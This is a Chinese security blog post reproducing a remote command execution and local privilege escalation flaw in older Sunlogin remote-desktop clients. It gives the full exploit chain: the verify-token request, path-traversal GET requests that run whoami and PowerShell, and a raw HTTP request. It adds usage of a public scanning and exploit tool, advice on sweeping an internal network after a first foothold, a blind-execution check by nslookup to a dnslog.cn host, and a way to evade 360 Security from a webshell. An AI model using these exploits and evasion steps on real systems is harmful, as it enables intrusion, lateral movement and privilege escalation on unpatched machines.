位置:首页 > 安全分类 > WEB安全

低版本向日葵RCE/LPE漏洞复现

2022-03-03 13:00:42 来源:
简介0x01 前言2022年2月14日@孙德胜师傅在他团队公众号发布了一篇"向日葵远程命令执行漏洞复现"的文章,但只有一张复现的动态图,没有具体细节。隔天@Sp4ce师傅就对这个漏洞进行了

0x01 前言

2022年2月14日@孙德胜师傅在他团队公众号发布了一篇"向日葵远程命令执行漏洞复现"的文章,但只有一张复现的动态图,没有具体细节。

隔天@Sp4ce师傅就对这个漏洞进行了研究,并记录了这个远程命令执行漏洞的整个分析过程,太牛了。

0x02 影响版本

向日葵个人版≤11.0.0.33(包括绿色版和安装版),已测试存在远程命令执行漏洞的一些版本如下,目前官方已经发布了漏洞修复程序,只需将向日葵升级至最新版即可。

11.1.110.3.0.2737210.5.0.2961311.0.0.3280611.0.0.33162

0x03 漏洞复现

复现这个漏洞用的是@Automne师傅改的利用工具,添加了存活主机探测、网段扫描和并发优化等功能,项目地址:https://github.com/ce-automne/SunloginRCE

这篇文章只是简单记录了下这个工具的实现原理、使用方法和在实战中可能会遇到的利用场景及问题等。

工具参数说明

Usage of sunRce.exe:  -c string      //执行命令        Input Cmd Command  -h string      //IP或IP段        IP Address: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12  -n int        //扫描线程        Set Scan Threads (default 600)  -p string      //指定端口        Ports Range: 50000 | 40000-65535 | 49440,51731,52841 (default "50000")  -t string      //攻击类型        Choose Attack Type: scan | rce

工具原理

通过ICMP协议方式对内网主机进行存活探测,多线程扫描存活主机40000-65535端口,将存在向日葵指纹特征的主机IP和端口打印出来,然后再按照以下流程获取Verify认证->RCE远程命令执行,如下图所示。

1. 获取指纹特征

http://192.168.1.103:58774/{"success":false,"msg":"Verification failure"}

2. 获取Verify认证

http://192.168.1.103:58774/cgi-bin/rpc?action=verify-haras{"__code":0,"enabled":"1","verify_string":"CB6FOvb5t7iFoiMq3OlWrpe1Ag69nk8I","code":0}

3. RCE远程命令执行(+Verify)

http://192.168.1.103:58774/check?cmd=ping../../../../../../../../../../../windows/system32/whoamihttp://192.168.1.103:58774/check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+net+user
GET /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+net+user HTTP/1.1Host: 192.168.1.103:58774Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: CID=CB6FOvb5t7iFoiMq3OlWrpe1Ag69nk8IConnection: close

(1) RCE远程命令执行

当我们已经拿到内网任意一台主机权限时就可以利用这个工具来扫描整个内网IP段,如果这个IP段中还有人在使用低版本向日葵时就有可能遭受到攻击,如下图所示。

sunRce.exe -h 192.168.1.100-103 -t scan -p 40000-65535 -n 2000sunRce.exe -h 192.168.1.103 -t rce -p 58774 -c whoami

不过在测试内网另一台主机时发现利用这个工具执行命令没有回显,看来还是存在些BUG,BurpSuite手动测试没有问题,也能通过>重定向符将命令执行结果写进文件,如下图所示。

如果实战中遇到这种场景,我们可以先用DNSLOG看下是否能够收到数据,可以则说明存在这个漏洞,并且是可以执行命令的,本地测试中接收不到数据时可尝试更换DNS,如下图所示。

sunRce.exe -h 192.168.1.100 -t rce -p 51408 -c "nslookup ****of.dnslog.cn"


注:如果目标服务器(外/内网)安装的有低版本向日葵时也可以直接用公网IP来进行扫描和利用,因为向日葵开放的端口绑定在0.0.0.0127.0.0.1回环地址,0.0.0.0本机上的所有IPV4地址。

(2) LPE本地特权提升

这个漏洞不仅可以RCE远程命令执行,也可以LPE本地特权提升,不过在利用这个工具在Webshell提权时会出现乱码,即使作者用了mahonia库也一样(UTF-8、GB2312),但不影响使用,如下图所示。

sunRce.exe -h 127.0.0.1 -p 40000-65535 -t scan -n 2000sunRce.exe -h 127.0.0.1 -t rce -p 59582 -c whoami

注:如果直接用中国菜刀这类网站管理工具的虚拟终端去执行这个利用工具的话可能会被360安全卫士的进程防护功能给拦截,如下图所示,不过可以用上边这种执行方式来进行绕过,不会被360拦截。

Github上还看到@Ryze-T师傅写的一个LPE本地特权提升的项目,通过正则匹配方式在向日葵安装路径log目录下的sunlogin_service.xxx.log日志文件来查找端口,然后获取Verify认证->127.0.0.1命令执行,如下图所示。

C:\ProgramData\sunloginLPE.exe "whoami" "C:\ProgramData\Oray\SunloginClient"

优点:不用再去扫描端口,弊端:安装路径权限问题,虽然能手动指定向日葵安装路径,但如果管理员对磁盘目录做了权限设置,就会因权限问题而无法读取日志文件获取端口,最终导致无法利用,如下图所示。